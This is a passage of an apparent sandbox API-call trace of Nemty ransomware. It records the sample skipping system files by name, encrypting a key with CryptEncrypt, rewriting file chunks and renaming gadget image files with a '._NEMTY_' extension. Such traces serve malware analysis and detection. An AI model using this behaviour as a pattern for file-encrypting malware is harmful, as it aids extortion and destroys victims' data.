lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340370, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.557] CloseHandle (hObject=0xffffffff) returned 0 [0119.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e0 [0119.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0119.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0119.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png._nemty_kgobjgd_")) returned 0 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.558] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a48acd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2=".") returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="..") returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="...") returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="windows") returned -1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="$RECYCLE.BIN") returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="rsa") returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="NTDETECT.COM") returned 1 [0119.558] lstrcmpiW (lpString1="settings_divider.png", lpString2="ntldr") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="MSDOS.SYS") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="IO.SYS") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="boot.ini") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="boot.ini") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="ntuser.dat") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="desktop.ini") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="CONFIG.SYS") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="RECYCLER") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="BOOTSECT.BAK") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="bootmgr") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="programdata") returned 1 [0119.559] lstrcmpiW (lpString1="settings_divider.png", lpString2="appdata") returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0119.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0119.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0119.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0119.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0119.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0119.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0119.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0119.560] Sleep (dwMilliseconds=0x5) [0119.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfaead010, dwHighDateTime=0x1d561e7)) [0119.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfaead010, dwHighDateTime=0x1d561e7)) [0119.572] GetLastError () returned 0x5 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.572] GetLastError () returned 0x5 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0119.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="ihGQwfANVbcG84lulvf8YuPtCQawq/MYSgjGpDo05SK+JP3GaZyu4ocYEOLF06NO\r\nuezitSHkhv9XSNk5/yM99iTcL3q8op+p4Sn7FIoS4YMmofS/pe3F1zg1gQUrgeHG\r\nDOh7XGwvX8IArnhqGiR2Lnwtvnxn+RGyv5NfN0nc0f79Ld8b4aLW4PTqlmUhpm3z\r\nC2SJi8v8eHStM3EfbWy/OOzySy9jevfXuv/RqDFUX1q4IIza43lJqSnC5yA5tXCg\r\nDn7WjSU3MguTtJXzBduSO15oMFgOL8mzcxNZRNx70RQLq5/6SZM7z4/6P3MqHsNv\r\nYMjcc0ZrbIj4YLsOdXTyeQ==\r\n", pcchString=0x653e91c) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0119.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.573] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.573] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 